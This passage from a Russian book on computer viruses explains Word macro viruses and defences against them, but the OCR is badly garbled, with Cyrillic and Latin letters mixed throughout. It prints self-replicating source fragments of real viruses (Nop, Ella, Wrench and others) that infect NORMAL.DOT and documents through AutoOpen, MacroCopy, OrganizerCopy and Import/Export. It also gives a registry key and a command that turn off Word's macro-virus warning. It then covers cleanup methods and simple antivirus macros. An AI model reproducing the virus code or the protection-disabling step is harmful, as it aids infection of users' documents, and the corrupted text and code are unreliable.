сушествуюшую макрокоманду стандартннми средствами не получит- 
ся, если на нее разработчиком поставлена зашита. Для копирования 
и удаления макросов используется «Организатор», кнопки доступа к 
которому расположенн в тех же местах, что и в М5 \Уогс16.0/7.0.

УВА -  это тоже диалект язьпса Вазк. Обшая структура программь1, 
правила «склеивания» и «разрезания» строк, способн оформления 
ко,\шентариев примерно такие же, как и в язьже \Уогс1Ва51с. Но все 
остальное организовано несколько иначе.

По сравнению с язнком ШэгсШазк, в УВА гораздо больше типов 
данннх: Ву1;е, 1п1:е§ег, Еоп§, Воо1еап, 51п§1е, ВоиЬ1е, Сиггепсу (день- 
ги), Оеата1, Г3а1е (время и дата), 5гп'п§, Уапап1  (универсальннй 
тип). Переменнне описнваются чуть-чуть по-другому:
01Ш ААА Аз зигш д 
01Ш ССС. 0оиЬ1е

Добавились новне управляюшие конструкции.
Цикл с предусловием:

Оо Мп 1 ̂ е/игсС! 1 <Условие>

1оор
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Цикл с постусловием:
Оо

Юор и и и е /и п Ш  сУсловие>

Цикл с перечислением:
Ғог Еасй <Элемент> 1п <Коллекция>

N9x1: <Элемент>

Главное же отличие заключается в том, что УВА -  объектно-ори- 
ентированньш язьж. Вернее, это язнк, предназначеннмй для созда- 
ния собственннх программ в рамках сложной объектной модели 
Мкгозой ОГйсе. Он поддерживает понятия обьекта (набора свойств 
и методов) и семейства (группм однотипннх объектов) и позволяет 
производить над ними различнне операции. Но, в отличие от «на- 
стояхцих» объектно-ориентированннх язнков, он ориентирован на 
жестко фиксированную объектную модель и, в обвдем-то, не предна- 
значен для «конструирования» своих объектов и классов при помогци 
«инкапсуляции», «наследования» или «полиморфизма».

Эта объектная модель сильно зависит от конкретной прикладной 
программн, в которую интегрирована виртуальная машгаа язнка 
УВА. Для М5 \¥ог(1, М5 Ехсе1, М5 Ассезз и прочих приложений мо- 
дель внглядит по-разному.

«Корень» у дерева, описнваюшего объектную модель любой при- 
кладной программн, всегда назнвается чАррНсайоп» -  это объект, 
сопоставленньш набору свойств и методов самой прикладной про- 
граммн. А вот «ветви» и «листья» в разннх приложениях могут 
бнть разннми. Вот, например, как внглядит дерево объектов для М5 
\Уог(197 (см. рис. 5.2). «Ветви» и «листья», для которнх указанн два 
идентификатора, соответствуют одновременно и объекту (имя вне 
скобок), и семейству объектов (имя в скобках).

Объектное «дерево» для М5 \Уогс12000, М5 \¥огй ХР и т. д. внгля- 
дит еше сложнее, но обвдая его структура остается прежней.

Особенно важно для нас семейство «УВЕ» (У1$иа1 Ваз1с Етпгоп- 
теп() -  набор объекгов, сопоставленннй среде программирования, 
которая включает редактор, транслятор, среду отладки и т. п. Одной 
из ветвей «УВЕ» является «УВРго]ес1з» -  семейство всех открьттнх 
программннх проектов, включаюшее среди прочих «Ногта1Тетр1а(:е» 
(проект, поставленньш в соответствие глобальному шаблону 
«ЖЖМАЬ.БОТ») и «АсйуеВосшпепО (проект, «живуший» в ак-
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тивном документе). Каждьш проект -  это совокупность программ- 
ннх модулей, то есть макросов.

По умолчанию среда УВЕ создает два одинаковнх «пустшх» про- 
екта (один -  связанньш с «МОКМАЬ.ООТ», другой -  с активннм до- 
кументом), в которне программист может добавлять свои макросн. 
В каждом из проектов по умолчанию доступнн для работн только два 
модуля -  с именами «ТШзОоситепС» и <КТе\уМасгоз», кажднй из них 
может содержать независимне группн макросов.

Но, шелкнув на «проекте» правой кнопкой мьши и внбрав пункт 
«Вставить», пользователь имеет возможность добавлять к проекту 
дополнительнне модули. Причем это могут бнть не только «обнч- 
нне» модули (например, «Модуль1>), но и так назнваемие «модули 
классов», которие предназначенн для хранения «классов», то есть 
определяемнх пользователем типов объектов. Интересно, что «моду- 
ли классов» вместе с определениями типов могут содержать и испол- 
няемне макросьт.
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В~4Й Могта!
М кгоиЛ  УУогв Объектм
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Рис. 5.3 ❖ Расположение макросов 
в модулях МЗ \Л/огс1 97

Таким образом, внутри документа (или шаблона) могут находить- 
ся несколько различнмх групп программннх модулей. Важно, что 
внутри ВОС-файла они и размешаются тоже в разннх местах.

Поскольку одновременно может бнть открнто несколько доку- 
ментов, то и открнтнх программннх проектов может бнть не два, 
а больше. Посчитать их можно при помоши свойства «Соип1>, а до- 
ступ к любому из них можно организовать по индексу (порядковому 
номеру) при помоши метода «IГет(<индекс >) ». Начиная с версии 
М5 ^огс! 2000 в «УВРго)ес(я»- появились методн «Ас1с1», «Кето\те» 
и т. п., позволяютие напрямую добавлять к документу или удалять из 
него программнне проектн.

Отдельнне проектьх (например, «Когта1Тетр1а4е» или «Асйуе- 
Ооситеп1>) являются свойствами объекта «УВРпуес1> и, соответ- 
ственно, обладают среди прочих свойством «УВСотропеШз». Оно 
дает доступ (по числовому индексу или по строковому имени компо- 
нента) к отдельннм составннм частям проекта: к текстовьш модулям, 
оконннм формам и т. п. Обнчно текстовнй модуль макросов имеет 
индекс 1. Эти составние части можно добавлять (при помоиди метода 
«А(1с1»), удалять (при помоши «Кетоуе»), а евде их можно целиком 
импортировать из файла (при помоши метода «1трог1»), У отдельно 
взятого компонента (принадлежашего коллекции «УВСотропеп!;»), 
например у текстового модуля, есть ряд очень интересннх методов и 
свойств. Во-первнх, методом «ЕхрогО его можно сохранить в файл. 
Во-вторнх, свойство «Сос1еМо(1и1е» дает доступ к текстовой части 
модуля как к совокупности строк и обеспечивает атрибутами, как-то: 
свойство «СоиШОШпез» -  возврашает количество строк; «Цпез» -  
возврашает текст }тсазанньтх строк; «АсИҒготҒПе» -  добавляет
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фрагмент текста из указанного файла; «Ас1с1Ғгот81;пц§>> -  добавляет 
фрагмент текста из строки; «АсМҒЛе» -  добавляет целиком текст из 
указанного файла; «1пзег1:Ппе5» -  вставляет строку; «Ве1е1еҒ1пез» -  
удаляет строку; «Кер1асе1лпе8» -  заменяет строку и т. п.

Чтобн пользователь при переходе с \¥огс!Ва8]'с на УВА не терял 
прежних своих наработок, фирма МкгозоЛ обеспечила некоторую 
совместимость «сверху вниз>>, то есть М5 \¥огс1 версий 97/2000/ХР 
«понимает» и даже исполняет некоторие макросн, написаннме на 
\¥огс!Ва51с. Часть конструкций язнка перешла из версии в версию 
по наследству, а «устаревшие» конструкции рассматриваются как 
псевдометодм псевдоколлекции «\¥огсШазк:» и также доступнн для 
исполнения. И это правильно, так как \¥огс1 Ваз1с -  более простой и 
удобньш язмк, чем УВА (по крайней мере, для обработки текстов), 
зачем же от него полностью отказнваться?

Вот иллюстрация -  один из макросов вируса Масго.\¥ог(1.Мор, 
написанннй для М5 Шогс! 6.0/7.0 :

' Вирус Масго Могй.Кор на ИогоВабХс'е 
ЗиЬ МА1М
ш$ = Ғ11еНаше$() + АЛоОре.п"
МасгоСору "61оЬа1:МОР", ш$ 
я$ = Ғ11еНаше$() + ":М0Р"
ИасгоСору "С1оЬа1:ОагехЗреюИегп", гп$
ҒПеЗауеАз .Мате=ҒПеМаше$(), . Ғоггпаг=1 
Епй 8иВ

И вариант этого же вируса, автоматически перетранслированньга 
в среду М5 \¥огс197:
'Зирус Мор, автонатичвою» переееяеннуй на УВА 
РиЬИс 5иЬ МА1М()
Охш т$
ш$ = «огрВазЮ. [ҒПеМагае$]0 + ":АигоОвеп"
ЙогйВазю.КасгоСору "Ногта1:Н0Р“ , т$
т$ = Моп1Ва81с. [ҒИе№ пе$]() + ":Н0Р"
йогйВа51С.КаогоСору "Могта1: 0ате18ре1с 11егп", т$
йогйВазю .ҒПеЗауеАз Нате: =ИогйЗаз1 с. [ҒПеМаше$](), ҒогтаТ:=1
Епй 5иЬ

То есть если в М5 \¥ог<197 открьггь документ, созданньш средства- 
ми М5 \¥огс16.0/7.0, то нормально будут воспринятн не только текст 
с рисунками и таблицами, но и хранявдиеся внутри незашифрован- 
ньк макросн, написаннне на язнке \¥огс!Ва51с.

Новнх методов активации макровирусов, написанннх на УВА, не 
появилось -  в основном ими используется традиционннй механизм
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автоматических макросов: «АиСоОреп», «Аи(:оС1озе» и т. п. К списку 
подобннх макросов добавились новме имена: «Восигпеп(:_Ореп 
«Восигпеп1_С1озе>> и др. Алгоритм работм тоже не претерпел изме- 
нений: если вирус обнаруживает себя в «КтОК.МАЬ.ВОТ», то зара- 
жает активньхй документ; если стартует из документа, то заражает 
«МОКМАЬООТ». '

А вот копируются из объекта в объект макровирусн для М5 \Уог(1 
97 чуть-чуть по-иному. В макровирусах, написанннх на язнке УВА, 
ключевую роль играют след)то1Цие командьх и методн.

«Ог§ашгегСору(<Источник>, <Приемник>, <Имя>, <ТипОбъ- 
екта>)» -  метод объекта «АррНсаИоп», копируюший объектн типа 
<ТипОбъекта> (для макросов это тип «\¥(1 0 г£аш2ег0 1 у есГРго] есг- 
кешз») с именем <Имя> из <Источника> (документа или шаб- 
лона) в <Приемник> (документ или шаблон). Эта команда пона- 
чалу предназначалась для использования в качестве УВА-аналога 
«МастоСору», но почти сразу же МкгозоСс, испугавшись наплнва 
макровирусов, вьшустила патч для М8  \¥огё 97, которнй отключал и 
«Ог§агагегСору», и «\¥огс!Ваз1с.МасгоСору». Однако в последуюших 
версиях М5 \¥ог(1 эти командн бнли «возрожденн».

Пример использования этого метода -  фрагмент макровируса 
Масго.\Уог(!97.Е11а.
ЗиЬ АиЮОрепО

1Т ТМзОосителТ = НогшаПелрХзТе \
ТЬеп Зе-1; Твгде! = АсИуеОоситепТ: Е1не 5е1 Тагде! = Ноппа1Тетр1а1:е 
АррисаТ1оп. ОгдамгегСору \
ТШзОосиявпг.ҒиИМаше, Тагдет.ҒиННате, ”Н8", >«)0гдап1гег0Ь1есгРго1ес11гепз
К  Тагдет = АсТ1уе0осишеп1: ТМеп АсИуеОосишепТ. ЗауеАз ҒИеНаие: =Асг1уе0осишеп1.
ҒиИНате
Епа 5иЬ

«ЕхроЛ <ИмяФайла>» -  метод, копируюший исходньш текст 
макроса (плюс «заголовочнне» строки, если они есть) в указанннй 
файл на диске.

«1трог1 <ИмяФайла>» -  метод, копируюхций исходньш текст из 
указанного файла в макрос. Методн 1трогС и ЕхрогС в паре использу- 
ются в макровирусах примерно так:
•.■УВРгозесТ.УВСошропепТз. 1шро П  ( "КАСКОЗ.ТХТ")
■ ..'/ВРго]ест.УВСояропепТз. 1Теи(1) . ЕхрогТ "МАСН08.ТХТ"

Вот фрагмент исходного текста несложного вируса Масго.\Уогс197. 
\УгепсЬ.£, используювдего эту «сладкую парочку».
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'Этот макроо автоматически стартует при откритии документа 
5иЬ Аи1:о0реп()

Оп Еггог Незите Иех1:
Са 11 Хп-Гест 

Епс) 8иЬ

Зиь ХпСесСО 'Эта процедура сразу зизивается из АиЮСреп

МоОиХИате = "ЕдегХоШаЬ" ' Имя модуля дяя ндентификаиии

' Что является носителем вируса?
' Если М0ВМА1, т о . ..

Зег Сагг1ег = Ногша1Теп1р1ате.УВРго]ес1:.УВСошропепТз 
ЗеТ ПозТ = АсПуеОосииепТ. УВРго]ес1:. УЗСотропепт5

' Иначе - наоборот 
8ет С а гп е г  = АсиуеОоситепТ.УбРгозесТ.УВСопропепТз 
Зе* ПозТ = Могта1Тетр1аТе. \/8Рго]есТ. УВСоврспепТз

' Если такого модуля нет, то 
экспортировать/импортировать макросн 

11" !юз1:(Мос!и1Мате). Магпе <> МойихИагае ТНеп 
Сагаег(Ио(1и1Напе). Ехрогт "с :\а з сИ .у х о "
( ю з Т Л т р о г т  ( " с :  \ а з с и .  у х о  ")

Епй 1Т

ЕлС ЗиЬ

Обратите внимание: вирусн, используюшие «1трог1:/Ехрог1>, соз- 
дают где-то на диске (часто в корне диска «С:\», но это не обязатель- 
но) временннй файл (в рассмотренном примере это «азсЛлтсс!») и не 
всегда его после работн удаляют. Так что появление на диске посто- 
ронних файлов с бэйсиковскими текстами вн>три -  важннй признак 
наличия в документах макровируса!

«АсМҒготҒПе», «АсМҒПе», «Ас1с1 Ғгот5тпп§», «1п8ег!:1лпех», «Ке- 
р1асеипез» и т. п. -  методн свойства «Сос1еМос1и1е»- объекта «УВРго- 
ЗесЬ». Ими можно обойтись для полного копирования фрагментов 
макроса из документа в документ, а ехце они в макровирусах исполь- 
зуются для организации полиморфизма. Вот фрагмент вируса М асго. 
\¥огс!97.1Лто, копируювдий текст макроса построчно из «МОКМАЕ. 
ЭОТ> в активннй документ:
1Т ИоТ Ас1:1уеСоси1пепт.УВРго]ес1:.\/ВСол1ропеп1:з(1).СосеМоОи1е.Ғ1пс) \

( ''Оосия!епТ_С1озе'', 1, 1, 1000, 1000, Ға1зе, Ға1зе) ТНел 
Ғог I = 1 То Ногша1Тетр1а1е.УВРго]есТ.УВСотропептз(1). Со0еМойи1е. СоипТОТИпез 

ПпеоТсобе = Ногша1Тетр1аТе. УВРго]ест.УВСотропептз(1). Сос1еМос)и1е. Ипез(1 , 1) 
АсПуеОосишепт. УВРго]ест. УВСотропепТз(1). Сос1еМойи1е. ГпзегтИпез 1*3, ПпеоТсойе
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N8x1: I

Е1зе 

Епй 1Г

Используются и «комбинированнне» методики. Например, клас- 
сический вирус Масго.\¥огс197.Е1Ьап сначала «сбрасмвал» текст 
макроса в дисковмй файл, а потом построчно считмвал его из файла 
и при помоши метода «ГпзегШпез» копировал в «жертву».

Все рассмотреннне методм копирования макросов обладают свой- 
ством «симметричности». То есть они копируют макросм в однотип- 
нне модули: из «обьмннх» модулей в «обьшнме», а из «классов» -  
в «классн» и т. д.

Вирусов для МЗ \¥огс197 бьшо написано и распространено по миру 
много -  несколько десятков тасяч. Первне такие вирусн бнли резуль- 
татами прямого «перетолмачивания» макросов с язнка ^УогсШазю на 
УВА. Например, сушествовал (правда, не получил большой извест- 
ности) вирус Масго.\Уогс197.Сопсер1. Наиболее же распространен- 
ннми и долгоживуадими макровирусами для М5 \Уогс1 97, согласно 

от ̂ >е \Уе11з, бнли и есть Масго.\Уог<197.Ша22и («перевод» 
с \¥огс! 6.0/7.0), Масго.\Уогс197.Магкег, Масго.\Уогс197.С1а88, М асго. 
\Уог(197.5тас, Масго.\¥ог(197.Е1Ьап, Масго.\¥ог<197.ТЬия и прочие.

Макровирусн на УВА пишутся до сих пор, но значительннх эпи- 
демий не внзнвают. Большинство современннх разработок «кон- 
цептуальнн» и «коллекционнн». Как правило, они используют 
изоадреннне методн обмана антивирусов, благодаря чему очень гро- 
моздки и очень медленно работают (например, тот же Масго.\Уог<197. 
Ро1утас), по каковой причине жизнь их в «дикой природе» довольно 
проблематична. А обитателями бухгалтерий, отделов кадров, кан- 
целярий и приемннх остаются немногочисленнне популяции более 
примитивньхх вирусннх семейств, перечисленннх внше.

5.1.4. 0  проявлениях макровирусов
Возможности язьпсов \¥ог(1Ваз1с и УВА весьма велики, соответствен- 
но этому проявления макровирусов разнообразнн -  это и файло- 
вне операции (запись, переименование, удаление и т. п.), различнне 
«шутки» с редактируемнм текстом, вндача на экран разнообразннх 
сообшений и прочее. УВА поддерживает обраадение к функциям 
внешних динамических библиотек, и это означает, что вирусу доступ- 
нн \¥1п32 АР1, сетевне сервисн и прочее.
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Впрочем, типичньш автор макровируса не слишком квалифициро- 
ван и достаточно ленив (иначе писал бн файловие вирусм на язнке 
ассемблера). Поэтому к каким-то особенно изошреннмм проявлени- 
ям он не склонен. Стереть 13 числа все файлм в текушем каталоге 
(вирус Масго.\Уог<1.А(;от), закрнть в пятницу текувдий документ 
случайньш паролем (вирус Масго.\Уогч).Ғпс)ау), неожиданно бибик- 
иуть динамиком (вирус Масго.\Уогс1.Веер) и т. п. На большее фанта- 
зии у типичного автора хватает редко.

Можно еше <похулиганить» с текстом документа, например как 
это делал вирус Масго.\¥огс197.018 (см. рис. 5.4 и 5.5).
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Но чаше всего вирусм при помовди командн Мз§Вох просто вмво- 
дят на экран всяческие сообвдения. Например, вирус Масго.\Уог<197. 
РгоуегЬ прославился в 2000 г., «пробравшись» в офис премьер-ми- 
нистра Великобритании и поразив тамошних секретарш образца- 
ми «русской народной мудрости» (всего демонстрировалось более 
450 вариантов сообвдений, вьгоираемнх случайннм образом).

Рис. 5.6 ❖ Пример проявления 
вируса РгоуегЬ

«Проявлениями» можно считать и эффектн, направленнне не 
только на пользователя, но и на вирусолога. Например, чтобн уви- 
деть следуюшукз картинку, вирусологу необходимо декомпилиро- 
вать макросн и получить исходньш текст вируса Масго.\Уогс1.М8\¥. 
Обь1чньш пользователь никогда ничего подобного не увидит:
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Тем или иннм образом «шутит» практически кажднй второй мак- 
ровирус, и это очень печально.
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5.1.5. Простейшие приемм заццить! от макровирусов
Борьба с макровирусами возможна без применения каких-либо до- 
полнительнмх антивирусньхх программ. Рассмотрим несколько при- 
емов, котормми можно с. успехом воспользоваться.

5.1.5.1. Манипуляции с ^1ЯОВ.МАЬ.ООТ>
Итак, гнездилиодем макровирусов на компьютере является гло- 

бальннй шаблон «КОКМАЬ.ООТ». Если средствами М5 \Уогс1 от- 
крнвается «заразннй» документ, то вируснне макросн первьш делом 
перетаскивают себя в этот шаблон. В дальнейшем шаблон является 
постоянно активнмм, макросн из него -  постоянно загруженньши 
в память виртуальной машинн, и это позволяет вирусу копировать 
себя во все вновь открнваемне документн.

Нельзя ли как-нибудь почистить «НОКМАЬ. ООТ», если есть твер- 
дая уверешюсть, что он содержит макровирусн? Можно. Для этого 
достаточно завершить работу М5 \Уогс1 и удалить файл «ИОКМАЬ. 
БОТ» с диска, а еоде лучше на всякий случай переименовать его во 
что-нибудь иное, например в «НОКМАЬ.УШ». Если вновь запустить 
М5 \\7огй,то «КОКМ АЕ. ООТ» будет автоматически создан вновь. Он 
не будет содержать вирусннх макросов, правда, и все сделаннне ра- 
нее пользователем настройки (самостоятельно разработаннне стили, 
масштабн отображения документов, добавленнне линейки меню и 
т. п.) пропадуттоже. Не беда. «Почистив» глобальннй шаблон, можно 
вновь внполнить необходимие настройки, завершить М5 \¥огс! и по- 
ставить на файл «НОКМАЬ.БОТ» битовьга флажок «геа(1оп1у». Те- 
перь любне попнтки изменить файл «КОКМАЬ.ООТ», в том числе 
и вписать в него «лишние» макросн, буд\т пресеченн операционной 
системой.

Вообше, лучше заранее сделать копию файла «МОКМАЬ.ВОТ» 
со всеми «любимнми» настройками и восстанавливать глобальньш 
шаблон из нее.

5.1.5.2. Удаление вируса средствами «Организатора»
А как удалить макровирус из обнчного документа? Очень просто. 

Лечение необходимо производить в «чистой», то есть заведомо не за- 
раженной макровирусами, среде М5 \¥огс1.

Вменю«Файл» («ҒПе»)нужно внбрать пункт «Шаблонн» («Тешр- 
1аСе»). Далее на последовательно появляюшихся окнах нажать кноп- 
ки «Организатор» («Ог§ашгег»), «Закрнть файл» и «Открнть файл».
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В результате М5 \\;огс1 предложит загрузить (но не активировать!) 
один из документов-шаблонов, в роли котормх может вмступать как 
файл документа, предназначенннй для лечения, так и переименован- 
ньш ранее «бнвший главннй» шаблон КОКМАЬ.УГК. Далее необхо- 
димо вмбрать вкладку «Макро» и... возможно, что на экране появится 
список макросов, заключенннх внутри загруженного шаблона. Впро- 
чем, если список пуст, это еше не означает, что макросн отсутствуют, 
поскольку содержимое модулей «классов» таким образом увидеть 
проблематично. Но «обь(чнне» макросн виднн замечательно. Итак, 
если список не пуст, то необходимо внимательно изучить его содер- 
жимое. О наличии вируса свидетельствуют:

О макросн со «странньши» именами, типа «ААА2АО», «Сар», 
«МЙ» и прочие;

О макросн с «автоматическими» именами -  «Аи(:оОреп», 
«АиСоС1озе», «АиСоЕхес», «Аи(:оКе\у» и прочие;

О макросн со «стандартннми» именами, поставленннми в со- 
ответствие какой-нибудь операции Мз \¥ог(1 -  «ҒИеОреп», 
«ҒПе5ауе», «ҒПе5ауеАз», «ҒЛеРг1т»>, «ҒПеЕхк», «ҒПеСЬзе» и 
прочие.

Обнаружив вируснне макросн, нужно ликвидировать их, пооче- 
редно отмечая мншью и нажимая кнопку «Удалить». Вот и все, доку- 
мент (шаблон) чист. Кстати, теперь можно переименовать почишен- 
ньга «НОКМАЬ.УШ» в «МОК.МАЕ.ООТ», все «любимме» настройки 
таким «лечением» не затрагиваются.

5.1.5.3. Антивирусние макросъ1
Простейший антивирусньш макрос состоит из единственной 

командн «БхваМеАиюМасгоз», отключаюшей работу «автоматиче- 
ских» макросов. Еше можно частично автоматизировать работу по 
поиску и удалению вирусов, написав «лечатие» макросн. Имен- 
но так и поступили в МкгозоЙ;, изготовив и распространив шаблон 
«5САМ831.00Т». А мн чем хуже? Вот примитивная программка на 
язьпсе \¥ог<1 Ваз1с, которая ивдет в «МОКМАЕ.БОТ» и текувдем доку- 
менте макрос с именем «АиСоСЬзе» (это имя характерно для вируса 
М асго.\¥ог«1.0М У) и удаляет его.
Зи0 Мат
гтр = КШ Насго("АигоСХозе", 0 ) ' 'В НОйМАЬ.СОТ 
1шр = КШ МасгоСАиЮ СХозе”, 1 ) ' 'В текуцем документе 

Епй ЗиЬ

Ғипсгюп КШМасго(ВаОНате$, Тегср1а1:еТуре) ' Функция поиска/удаления
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КШ М асго = 0
Ғог 1 = 1 То Соип1:Масго5(Теир1аТ5Туре)
1Г Масго^а®е$(1 ; Теир1а1;еТуре) = ВайМаяе$ Тйеп 1 По ммени 
ОгдаШгег .0е1еТе, .Еоигсе = Мас.гоҒНеМа1пе$(Вас)Мате$), .№ие = ВайМате$, .Таь = 3 
КШ Иасго  = 1 

Епй 1Т 
Мехт 1 

Епо ҒилсПоп

Вот вариант этой же программм. написаннмй на язнке УВА.
ЗиР АиТоОрепО 
01ГГ: Тшр%
ггор% = КШ МасгоС'АигоС1о8е” , АсПуеОосияепг) 'В текувв» документе 
гвр* = КШ Насго("Аи1оС1о8в", Н отаХТелриге) 'В  И0НИА1.00Т

Епб 8..Р

ҒиПсТхоп К'ШМасго(Байпате, Тешр1а1еТуре) Аз 1пТедег ' Функция поиска/удаления 
Сш  1Й
КШ Насго = 0
Ғог 1 = 1 То ТетрХаТеТуре.УВРгозесТ.УВСолтопепТз.СоипТ
1Т ТетрIагеТуре.УВРго^есТ.УВСотропетз 1(ет(д) .Кагае = ВаОпапе Тпеп • По модулю 
Арр1 1 саТ1оп. 0гс-ап12ег0е1ете Тетр1аТеТуре. ҒиШзше, Завпате, «йОгдаШгегОЬ^есШеяз 
КШ Масго = 1 

Е.пй ГТ 
N6X1 1
Е.ПО Ғ и П С П С П

Лучше всего бить врага его же собственнмм оружием -  разместить 
лечаший макрос в глобальном шаблоне «МОКМАЬ.ООТ» и присво- 
ить ему имя чАисоОреп». Тогда макрос будет стартовать при каждой 
загрузке нового документа и отстреливать «заразу» на взлете.

Разумеется, все это не слишком серьезно. Данньш подход позво- 
ляет обнаруживать макросм только по имени, а имена вирусннх 
макросов в значительной степени «стандартнн». Например. макрос 
«Аи1 оС1о5е» присутствует не только в Масго.\Уогс!.ОМУ, но и в не- 
скольких сотнях других вирусов, причем в них этот макрос не одинок. 
Таким образом, подобннй метод лечения «убьет» Масго.\Уог<1.ВМУ, 
а остальннх лишь «ранит». Скорее всего, «недобитне» вирусн будут 
просто неправильно работать, доставляя этим пользователю гораздо 
больше хлопот, чем если бн они работали «правильно».

Впрочем, можно усложнить антивируснне макросн, научить их 
осушествлять поиск по диску, сканировать «заразу» построчно, вести 
базу данннх и т. п. Примером такой продвинутой «лечилки» может 
служить «Масгоз Нип1 ег» О. Аверкова.
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5.1.5.4. Встроенная «загцита* М5 МУогЛ
Разумеется, фирма МкгозоЙ не могла остаться в стороне от сраже- 

ний, ведушихся мировой компьютерной обшественностью с макрови- 
русами. Говорят, первая робкая попнтка отгородиться от «посторон- 
них» макросов появилась в М5 \¥ог(1 у7.0а. Но русифидированньгх 
вариантов этой версии текстового редактора не сушествует, поэтому 
отечественньш пользователь лишен возможности оценить достоин- 
ства и недостатки использованной в ней зашитм.

Сама же фирма МкгозоЛ посчитала ту зашиту недостаточной и 
в свою очередную версию М5 \¥огс! 97 включила две «новинки»:

О антивируснмй фильтр, запрешавший преобразование из Шогс1- 
Ва§1С в УВА наиболее известннх вирусов;

О подсистему предупреждения пользователя.
Вот что сообшал о первой из них известньш венгерский вирусолог 

СаЬог Бгаррапох:
...Итак, МюгозоП встроила простой фильтр, которь/й пь/тался 
определить, не принадлежит ли конвертируемь/й макрос како- 
му-нибудь вирусу. Если обнаруженний макрос являлся частью 
известного вируса, то он удалялся из документа без каких-либо 
предупреждений... К сожалению, у этого метода имелись не- 
сколько недостатков: он использовал примитивное сравнение 
сигнатур; онработал с отдельнь/ми макросами, врезультате чего 
макрось! Аи1оОреп, ААА1АО и ААА1Ғ8, принадлежашие вирусу 
Сопсер1, удалялись, а макрос Рау1оас1 успешно конвертировал- 
ся; он обеспечивал зашиту от ограниченного количества вирусов 
(вирусная база даннь/х бьяла зашита в Э И  и не подлежала обнов- 
лению); наконец, сигнатурь! вирусов хранились в незашифрован- 
номвиде...

Этот фильтр не бмл включен в бета-версии М5 \Уоп1 97, широко 
использовавшиеся пользователями в 1997 г., в результате чего к мо- 
менту внхода финального релиза все макровирусн, которне име- 
ли шанс «мигрировать» с \Уогс1Вазк на УВА, успешно сделали это. 
«Опоздал» и патч, отключаювдий командн «ШогсШазк.Масгосору» и 
«Ог§атгегСору». Он бнл включен в первьгй сервиспак М5 \Уогс1 97 
5Р1, а в следуюшем сервиспаке 5Р2 эти запретн бьши отменени.

Вторая же антивирусная «изюминка» закрепилась и получила раз- 
витие в последуюших версиях М5 \¥огс1. Идея работн этой подсисте- 
мн заключается в том, чтобн предупреждать пользователя о наличии 
в загружаемом документе «посторонних вложений».
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Г П х !
В открьюэемом докуненте есгь макрось!, которие могут содержать вирусь! и 
поередить вдш компьютер.

Если докуиент взят из надежного источника, намсмите .-.
кнопку "Не отклочать макросьГ, Чтобья запретить | ррдробности |
аетоиатимескии запуск пакросое, нажмите кнопку

0  &:егда вьводить это окно при открьтии докуиента, содержашего макрось)

! Отключить макрось! !| Не отключать макрось) Не открьвать документ

Рис. 5.7 ❖ Диалог предупреждения о макросах

Правда, эта подсистема не умеет отличать вируснне макросм от, 
например, пользовательских стилей и частенько «ругается не по 
делу». К тому же эту подсистему очень легко отключить:

О вручную (сбросив соответств}тошую <<галку>> в «Сервис => Па- 
раметрн => Обшие»);

О извне (поставив ключ Реестра «НКЬМ/ЗОҒТ\¥АКЕ/М 1 сго- 
8оЛ/ОШ се/8 .0/\Уогс1/О р 1 юп5/ЕпаЬ 1еМасгоУ1гшРго1ес11оп» 
в положение 0 );

О программно (внполнив столь «любимую» макровирусами 
команду «ОрГюпзЛЧгизРго^есйоп = ҒаЬе»),

Самьга же главннй недостаток подобного подхода заключался 
в том, что пользователю предоставлялось право самому решать, про- 
пускать макросн в свой МЗ \Уогс1 или нет. Представьте себе ситуа- 
цию: в офис пришло множество писем в ООС-формате, требуется 
немедленно отреагировать на них. Неужели секретарша будет раз- 
бираться с кажднм отдельно взятнм документом, опаснне или по- 
лезнне макросн в нем содержатся? Да она раз и навсегда отключит 
эту надоедливую завдиту! Или отключит «хотя бм на один раз», а «на- 
всегда» это сделает активировавшийся вирус при помоши одного из 
рассмотренннх чуть внше приемов.

Собственно говоря, так в большинстве случаев и происходило. 
Подсистема зашитн М5 \Уоге1 97 серьезной преградой для распро- 
странения макровирусов не стала. Поэтому уже в М5 \¥огс! 2000 бнли 
введенн несколько уровней зашишенности.

Если активирован нижний уровень зашишенности, то макросн из 
загружаемого документа внполняются в любом случае. При среднем 
уровне зашиаденности М5 \Уог(1 2000 ведет себя подобно версии 97: 
предупреждает пользователя о наличии макросов и предлагает ему

Заш ита от вирусое в макросах
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самостоятельно принять решение. Наконец, на вмсоком уровне за- 
шишенности вьшолняются только «подписаннме» макросм (то есть 
макросм из заведомого доверенного источника), а остальнме безо 
всяких предупреждений подавляются. Кстати, начиная с М5 \Уогс1 
ХР, внсокий уровень зашитн заодно еше и отключает подсистему 
УВА, не позволяя даже программисту разрабатмвать свои макросн. 
А это иногда бмвает необходимо. Например, текст книги, которую вм 
сейчас читаете, пришлось несколько раз бмстренько переформатиро- 
вать при помоши специально написанннх макропрограмм. При руч- 
ном переформатировании на это ушло бн много часов.

Тшз1ей Зоигсез:8есип(у (.еуе^

(*) Н|дН. Оп1у 51дпес1 тасго г  (гот 1ги5(ес1 гоигсез ж11 Ье 
аИоууей (о гап. ипз1дпе<1 тасга з аге аи(ота(1са!1у 
с)|заЬ1ес)

0  МесИит. Уои сап сИооее ууНе(Нег ог по( 1о гип 
ро!еп(1а11у ипзаГе тасгог.

О (по1 гесоттепйей). Уои аге по1 рго1ес1ей (гот 
ро1еп(1а11у ипзаСе тасгоз. 11ге (И1г геШпд оп1у К уоц 
Иауе игиг зсапп|пд зойчуаге 1пг1а11ес1. ог уои аге еиге 
а!1 (1оситеп(з уои ореп аге заГе

N0 У1Ш5 зсаппег 1пг(аМес1

ОК Сапсе!

Рис. 5.8 ❖ Уровни антивирусной заидиту 
в МЗ \Л/огс1

По умолчанию в М5 \Уог<12000, ХР, 2003 и 2007 активирован имен- 
но внсокий уровень зашитн. Поскольку «подписаннне» макросн, -  
вообше говоря, огромная редкость, то эта опция означает незаметное 
для пользователя полное отключение механизма макросов. Чтобн 
они заработали, их надо принудительно включить, установив более 
низкий уровень зашитм.

Именно после введения этой «драконовской>> мерн количество мак- 
ровирусов в «дикой природе» стало неуклонно снижаться, а к 2 0 0 2 -  
2003 годам их и писать-то, по большому счету, перестали.

Впрочем, стоит упомянуть вирус Масго.\Уогс197.Ха1ег (он же 
\У97М.Ьехаг), которнй напрямую так модифицировал двоичньш 
код ООС-файла, что антивирусная подсистема М5 \¥огс! 97 и 2000
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не обнаруживала макросов даже в том случае, если они в документе 
бмли. В более поздних версиях М5 \¥огс1 ошибки в алгоритме работн 
антивирусной подсистемн бмли исправленм.

5.2. Вирусь! в других придожениях 
МБ 0№се

...Ви совершенно напрасно разделяете кибер- 
аворников и киберсадовников. Это одни и те 
же машини...

